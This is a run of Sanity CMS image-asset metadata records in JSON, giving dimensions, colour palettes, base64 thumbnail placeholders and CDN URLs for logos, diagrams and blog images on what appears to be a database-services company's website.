{"_createdAt":"2024-03-05T07:51:10Z","_id":"image-e53a984b8a968134aab92aa3ae3b427886cd4394-3270x1766-jpg","_rev":"3k3vwhvhnpMxr5ODyzb3Th","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T07:51:10Z","assetId":"e53a984b8a968134aab92aa3ae3b427886cd4394","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MASigS-:9Gn%%M~pIVt6RkRlRkxtM}Wrox","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8516421291053227,"height":1766,"width":3270},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMCBAYI/8QAIxAAAQQBAQkAAAAAAAAAAAAAAQACAxEFIgQUISUxMkFhcf/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/EABcRAAMBAAAAAAAAAAAAAAAAAAABEQP/2gAMAwEAAhEDEQA/AOn9n02SXk+0yZ1xE8QFGIW4gpGYHLpQLHw0lKuEXGm2iuiFnccXbv3vOry4oW3nGFP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cac14","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9cb8f0","foreground":"#000","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb3cc","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cb8f0","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5259a2","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cce36","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dragonfly-setup.jpg","path":"images/sczeoy4w/production/e53a984b8a968134aab92aa3ae3b427886cd4394-3270x1766.jpg","sha1hash":"e53a984b8a968134aab92aa3ae3b427886cd4394","size":366910,"uploadId":"dcwgKtpd7d8lGPJzhu1FHVwlnnuzELps","url":"https://cdn.sanity.io/images/sczeoy4w/production/e53a984b8a968134aab92aa3ae3b427886cd4394-3270x1766.jpg"} {"_createdAt":"2024-02-26T14:34:56Z","_id":"image-e54c7c19025cf67670f2dd500b275ae6d080adf4-1750x375-png","_rev":"goLk0XsDDQxPwHP2lIJfmX","_type":"sanity.imageAsset","_updatedAt":"2024-02-26T14:34:56Z","assetId":"e54c7c19025cf67670f2dd500b275ae6d080adf4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBNdO8%M%M~qxu00t7ofRj%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.666666666666667,"height":375,"width":1750},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAABJ0AAASdAHeZh94AAAAo0lEQVQYlU3Qu0oDUBCE4ZgYjBciJoqiaBEigpcmRQgEQezs9SF8/36+sLqCxbBnzs7+yzmDJFMcYT/J6F8dYq81xgFG7X9yVfOb/csNB/jEOx5KSZ6TvLSf17IkN3jsu3tU/wnXnTlrXRXwO8lXkg1Kr3jrc4FOktxihTW2+OjMApcFaviigMskd7jobaXz3jjpJ01wilkPF6gAx/0V1T8svwNzOPdB3ppC9AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-cobranding-aiven-GCP-white.png","path":"images/sczeoy4w/production/e54c7c19025cf67670f2dd500b275ae6d080adf4-1750x375.png","sha1hash":"e54c7c19025cf67670f2dd500b275ae6d080adf4","size":60448,"uploadId":"DAOumvsT3CzLJ7RJeJQqJ2Q1JupE3LaO","url":"https://cdn.sanity.io/images/sczeoy4w/production/e54c7c19025cf67670f2dd500b275ae6d080adf4-1750x375.png"} {"_createdAt":"2024-08-23T06:49:46Z","_id":"image-e54cce85862cca38441681e913d4e24419751d7e-1696x1394-png","_rev":"SKT8L9nELcBha4cgKYqPeL","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T06:49:46Z","assetId":"e54cce85862cca38441681e913d4e24419751d7e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCHLe[00x,s;N4%Nt7NFj[t700oe4URj?ba$RiM_WBt70J~p~XX89F","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2166427546628407,"height":1394,"width":1696},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAABYlAAAWJQFJUiTwAAAE90lEQVQ4jWWReUyTdwCGfxyKCqzqwsDhKBNEDkGsiAIT5wGliG6KBkipmyg6PKBWDWBBpmxOdhhZ1MimWM/WFSme3A3aIgSZbaH0+nrYQlvafl/79Ss9FsUu7J/N7EnevP++T14AQAr4L3n5Z0BoJAXgQvPmxiWX5q5KL2ekrqNyV39W0ZOYUnYhchllld+8DP8Ewv6AqPg9uPAo8oJQfCHuk+jigA1EGgDh0fsACCD6Ar9Nfv5BuX5hkWRff1wpCAnfMnd91vFt2wu/Yxd99dOrgt0Nw9t2nm7emHM8PSZ+V3BK+qE0QtrhI9EJJfRQfOFBXOj2FOCTPAuE4QvmJRAOJMQll276eAk5e8GinavmLdw6PzWtKKDx8sPNLPYL1n32wGjLvRej7PuDLS0PBnPIe06H5e2oKdlReKZny/basc25VV1ZuZUl+QXlOICPKYxYm1lxIu1z6uMEwv6uiKWUhpDF+Ul5JHKASDqZrZYjXUqeEpX3yhyQ2CySq6z7bt/kRF5tbiu7y+oeYrG5enZrn/hpx8C5jk5uDCgg18QerGhsLKddkpeV/6otO9LYdqzyErH2ZP0HEggm6ZRov+Y59E7ZI/WqJbBWqYKPCrvbl2kUcprBYJTDsNVpt2NWux1rlUqlmaCz6/nyl8PiJoFQrh4Vq4wyuXZIqdKVcdqehLX3inP6BzR8Plf2ltcj9fL5as2zZ2PUoScPY406TSUMWyYwDPP+5fFMezyeXgiCsoBKpVyJIAgLRW12DMOmnU6n0eHA6rvau/Ffl/6SQ6ti9FeduvO2uu6O91g1Q3Pg8MXyq02saKNBTzObLWoUtb9xudwut9vdrlAoNgEIgghms7nFYrG4LRaL12azIagV+aH3/h9L4uKLMjM20O5k5dFHs7fWSDI2HuuKSSwhV9dejDAY9PvMZjPfZrOpHQ6H3OFwMMbGxtKBQqEgGI3GFpPJ5EYQxGu32xHUZj3X/5jz6f69Z5Kqa29Un6q71VRbe/P3E1XX6il7f1x3+crdRTqdrsRkMvXabDYphmEiFEWvjIyMrAZyuXzl5OQkE0EQ1OFwzMw3YBhWz+/rixgcVq5VSOAmWSfEl3PEL6CXE/dGxBNfDDznRejHx6kWi0Vmt9udLpfL5nQ6H8hksvVAIBBEGQyGEzAMMzEMa3U6nQwEQciPHjwNHVWYiaox2zMJU+yRNg291fRPQEqF6Yi4rzPWqFVXWcxmPYqiXrfbPe12u2dO2QyYTGaQSCSKViqVBK1Wu1qjeb1SIHi1uOHsz0HDonGS4E8jf4AjmR5kirxCnva1UKA9KurtjB1XQ8eNBoPaarW+cblc/54yw5w5c3yCg4N9AAA+gUELZhrs2Fk6u6m5m9R8i9ffzOC9Y9zge6/f4r3+rbmngs16hFdBinydTncDhuGnU1NTDzEM+14oFBKA1+t9L5oJLwAgB0TH5swibqMT84vOcov3np/aXXrBs6u4QUr68tSh/KKTIaIRQbhEIk3VarXr9Hp9hlqtTmxtbV0I6HQ64HA4gMvlgo6ODkCrvAYAIIHZgcv9o+KLk1ekfvPtmsyK22szK5jJa8oao+J3kz4Myw581VkAqEfpfnV1dX5UKtWXQqH4JiUl/WP3Honp1wHAXQW+/iG+i/DE+VFxhUtjEotXLF1evGJJbEF8WMSWjwJxyf4AEEDD+bb/Gf4NxqPNX2J5SoQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313662","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d144e","foreground":"#fff","population":5.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d144e","foreground":"#fff","population":5.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959bc2","foreground":"#000","population":0.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb93c4","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656a97","foreground":"#fff","population":0.62,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e94386","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-event-driven-architecture.png","path":"images/sczeoy4w/production/e54cce85862cca38441681e913d4e24419751d7e-1696x1394.png","sha1hash":"e54cce85862cca38441681e913d4e24419751d7e","size":135626,"uploadId":"JWThnCnzZ1N8bRIixEAcDEeGA1Ta1AYc","url":"https://cdn.sanity.io/images/sczeoy4w/production/e54cce85862cca38441681e913d4e24419751d7e-1696x1394.png"} {"_createdAt":"2023-06-07T13:29:27Z","_id":"image-e5541187631f9df489804f3f29463e3b1943df33-1812x978-jpg","_rev":"OSa4Of7leLeKOMRysgg2xQ","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:29:27Z","assetId":"e5541187631f9df489804f3f29463e3b1943df33","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKNJ|A~ADjr;S5~pS6xux]D%M_xZ%Mae%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.852760736196319,"height":978,"width":1812},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAEDBAUGB//EACQQAAEDAwMEAwAAAAAAAAAAAAECAwQABRESIVEGBxQiExYx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAYEQADAQEAAAAAAAAAAAAAAAAAAQIRA//aAAwDAQACEQMRAD8A7BbJ703pRg3RTUW4TG8YQrYKPFIz4kWGhq4ySiehPq4c6SofhzWSkqP162knJT8Ok8b093FdWLjb2QohtTSiU8mijKQ/ScrCf0o8uRBkOzJYfkGQvW4BgE7UVV2U+Nbm22PRG5wOaKuXFENdXp//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a423b","foreground":"#fff","population":1.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1090ac","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccb6af","foreground":"#000","population":3.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb6af","foreground":"#000","population":3.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdcf4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#92755c","foreground":"#fff","population":1.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28bfd7","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"paperlust-customer-img.jpg","path":"images/sczeoy4w/production/e5541187631f9df489804f3f29463e3b1943df33-1812x978.jpg","sha1hash":"e5541187631f9df489804f3f29463e3b1943df33","size":890167,"uploadId":"DjBItZjlja8qJT8IlStKz8hbOEGXK6N3","url":"https://cdn.sanity.io/images/sczeoy4w/production/e5541187631f9df489804f3f29463e3b1943df33-1812x978.jpg"} {"_createdAt":"2022-09-30T18:53:39Z","_id":"image-e56bf61f3f94a9aa54794f47bb026a8847b49b7b-1566x880-gif","_rev":"8WeirZ6KB9gJqgJfvjVAwn","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:21Z","assetId":"e56bf61f3f94a9aa54794f47bb026a8847b49b7b","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7SijX%h-:~W%L?voKxuM|M{%L%MNGE1M|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7795454545454545,"height":880,"width":1566},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAIDBAj/xAAfEAACAgEFAQEAAAAAAAAAAAABAgADEQQSITFRQXL/xAAVAQEBAAAAAAAAAAAAAAAAAAABAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AOntVctI5BPoHcUbHr3ohX9dy8orEZUGRtOBx5AFIJrBYnMTPpXY1DJ+xIv/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6d6d","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#175e6c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b5c9d6","foreground":"#000","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5c9d6","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84d4e4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a8391","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2db5d1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"e56bf61f3f94a9aa54794f47bb026a8847b49b7b-1566x880.gif","path":"images/sczeoy4w/production/e56bf61f3f94a9aa54794f47bb026a8847b49b7b-1566x880.gif","sha1hash":"e56bf61f3f94a9aa54794f47bb026a8847b49b7b","size":6539134,"uploadId":"4m2531ZruKfdFHS0wUV1SzdDdA2XQMrz","url":"https://cdn.sanity.io/images/sczeoy4w/production/e56bf61f3f94a9aa54794f47bb026a8847b49b7b-1566x880.gif"} {"_createdAt":"2023-12-18T13:50:33Z","_id":"image-e5881eac29f40773a996a4b894969431b744d75e-1920x1080-png","_rev":"7oPGYyiRG7hm5kP9hcIPco","_type":"sanity.imageAsset","_updatedAt":"2023-12-18T13:50:33Z","assetId":"e5881eac29f40773a996a4b894969431b744d75e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6T4grQLGYxYU{}Zxss*rsm.+uz;#9xFpG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACgklEQVQokS2SSVObBQCGIzvCjOPQhAKBiATSlbIEBoFS9Rd4aAVHKa0pGZCkLBWGklCKtAz70oXS3+KP6NGDPdaTJw9axfI8Tvx6eK/PvFuIG6UyViPpqExEZapRsk1yt1FmojJTp9NnZPaMzNXIYq08bpPDXnneL4ddsndRDtrladIQI5Uy+aksJOV+ryz1SK5b8l2y0i3L7boQk3tnZf6sLDXIxkV5NihHV2WvXTZbZCsuO4n3wGxClodk9QtZvSYPB+Vhn6wkZaVDcwlZapF8XFYTspuU4y/laEi2L8jjqDyql5/ChhiukKm45AZkeUDyfZLvkcVLMtso0xGdCctcRBbqJBeV9XOyn5T9LtlKyEazrEdltcbQu6/L/HMi7h+LA779scPTbLPcjUmmTtLVkirRO0WSLpYfSmWuWh7UyUab7F6S/fZAO+dkI2bo7UiVr7O9vnpw3d/uf+5J5hPJRGW6SbIRSVdI6gMZD8lEkcxVyUqDbBVcXpHDTnnSLQdXZLvV0F/DVb5KJ/353lf+On/Nf6ZbdTYu8wmZi0n2Y8l8KJlC1xUy/5GsxWT3shx0yM75YOX9y7LdZujkeolvRmr9ZTTu7983+W48IpO1MlUrmcJVIsGyuXpZDEu+VtbjctAZADfjstUaODzsNHR6o9STsbB/pxr8NxWRW9Vys0zGSiRVFvzvUZtsFtaMy1qzbJ6XJ8kgbgG2e0Ge9sjRZ4ZOh8vlVljG6+VORMaq5LtiGS2S28WSLURsk73O99ACoF2e98mznmCQQocv+uV4MACeFr74TaV8WymjFXKzXG6XS6pcJqtlqTE481rBYYscdMvx1UBH/fJiUF4O/a//ANgTOXSLHwMUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#432c36","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#891e06","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdaa98","foreground":"#000","population":1.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc953c","foreground":"#000","population":7.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a26d50","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.89,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event video thumbnail template with speaker Orange.png","path":"images/sczeoy4w/production/e5881eac29f40773a996a4b894969431b744d75e-1920x1080.png","sha1hash":"e5881eac29f40773a996a4b894969431b744d75e","size":377136,"uploadId":"q2W8hb1kFDKJTGt3KJl84yAVvwKbDCWW","url":"https://cdn.sanity.io/images/sczeoy4w/production/e5881eac29f40773a996a4b894969431b744d75e-1920x1080.png"} {"_createdAt":"2024-05-07T07:59:17Z","_id":"image-e5901ac45dd46d6e4369d19979560572589aff1f-2986x617-png","_rev":"TpAoe0ZPYnVPmPAgmZ836v","_type":"sanity.imageAsset","_updatedAt":"2024-05-07T07:59:17Z","assetId":"e5901ac45dd46d6e4369d19979560572589aff1f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DH3.6%QRU]u6VrQTpdkrf,Z~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.839546191247974,"height":617,"width":2986},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAABNUlEQVQYlWNg8GovYfBuD2Xwag9k8AbjIAavNhAdzuDdHsDg3e7P4N3uy+DdHsLg1RYmkrPU03LlLT+dKSc82EIneDF4tvqA5bzboxi82+0YGLzb5zN4t+cxeLdnMni15zF4teUzeLcXM3i1VTJ4tWUzeLWVM3i314NoRp+OErH85UVmS67l6047mckROaWMwautCqK3LYrBq82IgcG7DaQ4AuxK7zaQLdEMXm0JDN7tyUz+3RGswX0JLMF92SyBvRnsEZMyZSo3pJovuxFpMPtcpGD6ghTW4L40tpD+YNaQfjvWkH4ZkIEaDN7t8gze7XIM3m1yYNqrTY45oFtJNG+ZplLLLkOl5h0mcrVbLBUbt9vozThtYrvhoa7lqttGOpOPm6m07zFR7dirr9a1X1lzwhEBAA4BaomoY1y7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#375163","foreground":"#fff","population":0.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07487d","foreground":"#fff","population":12.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#07487d","foreground":"#fff","population":12.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7ba0af","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fb4e5","foreground":"#000","population":1.88,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60869c","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16beee","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-essendant.png","path":"images/sczeoy4w/production/e5901ac45dd46d6e4369d19979560572589aff1f-2986x617.png","sha1hash":"e5901ac45dd46d6e4369d19979560572589aff1f","size":39417,"uploadId":"SpsQmCmWyglNM2vxN1dXChVbwCd8PFbv","url":"https://cdn.sanity.io/images/sczeoy4w/production/e5901ac45dd46d6e4369d19979560572589aff1f-2986x617.png"} {"_createdAt":"2023-09-21T08:23:40Z","_id":"image-e5ba89552e7639ed713819c95e3d370470036916-1200x628-jpg","_rev":"kaQ4ZWos4gq6sBfd7tDlTt","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T08:23:40Z","assetId":"e5ba89552e7639ed713819c95e3d370470036916","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBB:2r0]vzJa+WtJTN}h0+t8VtMwOu$%$e","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACEQAAEEAgICAwAAAAAAAAAAAAEAAgMEBREGIRIxE1Jx/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMEBv/EACIRAAEEAAUFAAAAAAAAAAAAAAEAAgMRBAYSFSFBQmGh0f/aAAwDAQACEQMRAD8AyLF2cOKsYnY0ShuiSz2U2x2NhnnDqUU3i4bEhGm/ijAT8Efa2zhLQeH1CQCfI96WhM5gfHXc6kuOESB99BaWQ8hvUImV4Z4y1g16Qpy/1cm19ihEctYVx1O5J8D4qN4lHAHsr//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4470","foreground":"#fff","population":1.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0474","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8963d","foreground":"#000","population":1.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bca4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8963d","foreground":"#000","population":1.2,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5eaa","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24d11","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"knapsack-problem-in-postgresql_meta-preview.jpg","path":"images/sczeoy4w/production/e5ba89552e7639ed713819c95e3d370470036916-1200x628.jpg","sha1hash":"e5ba89552e7639ed713819c95e3d370470036916","size":66212,"uploadId":"jg8SbDOItuIKEcQEsnJWvIHC1Vouwywn","url":"https://cdn.sanity.io/images/sczeoy4w/production/e5ba89552e7639ed713819c95e3d370470036916-1200x628.jpg"} {"_createdAt":"2022-09-30T15:36:32Z","_id":"image-e647b03cf66630c22a178d0cd1431ec823cc783c-1902x482-png","_rev":"8WeirZ6KB9gJqgJfvjVCtT","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:24Z","assetId":"e647b03cf66630c22a178d0cd1431ec823cc783c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D3R:Ti00}e=}9FUS0J-Xs;xb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.9460580912863072,"height":482,"width":1902},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA3ElEQVQYlU2P626DMBSDef9HGxOkhEE3baumlkvSBigJnJCcnExIndZP/mNLtuRkhVVNSihxEZfm2o7LpK022zJbPYPWmzFuMdsCDjz6EAKFQEQhBERMWtl9iE8uKtZx1peFrEpZV/L90Jas4VzW5fVYyvpnON/NDBa83ye89wCQfJ9Pb/0xlzyTRSZ5Jg6ZKJjgaZO/NNlrx9I+Tzv2pU6Tua8Abi8TIm7OJUL0t1kpGAc7DnYaYFQwPOlh9WYcOkQMRDFGipGIkmkawcJ+5g8M6IMP9J88iLviE78XOhjunsjFSAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6e6b","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#275c30","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4baf5b","foreground":"#fff","population":3.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9c9ac","foreground":"#000","population":1.81,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7bdd87","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#68a870","foreground":"#fff","population":0.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4baf5b","foreground":"#fff","population":3.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e647b03cf66630c22a178d0cd1431ec823cc783c-1902x482.png","path":"images/sczeoy4w/production/e647b03cf66630c22a178d0cd1431ec823cc783c-1902x482.png","sha1hash":"e647b03cf66630c22a178d0cd1431ec823cc783c","size":16522,"uploadId":"KjuT90RDvkpZrjzpjyTXztO11MmKv0w4","url":"https://cdn.sanity.io/images/sczeoy4w/production/e647b03cf66630c22a178d0cd1431ec823cc783c-1902x482.png"} {"_createdAt":"2024-07-04T01:03:50Z","_id":"image-e6500887024fc14f42e7c9e1c6a707546af8c690-960x540-png","_rev":"Y6NNh6Ue45iOdNdcw8Sgnw","_type":"sanity.imageAsset","_updatedAt":"2024-07-04T01:03:50Z","assetId":"e6500887024fc14f42e7c9e1c6a707546af8c690","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGAb-;}JR?741hXBNgJDOaS%s6xAxFsDn,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":540,"width":960},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqUlEQVQokU2Sy08TURSHu9KEYAVKSx8wA22HzrSlZQotMC20BSvqQpHSYsujQKHgC9EEdGMQhURd6M74iDEkulCjQU187Fzo1oV/gXsT43/wmZkCcfHl3uTkfjnn/K5Jjj4mFH9BuP8VHeodYlKOjDRI2jOE3HwCmyuHTShiEwq7FLG1FLDuYnGNc7hpjNrGUQNTUHuOmnxLV3qHE9ottrQEOymBp5qbMWWAQLB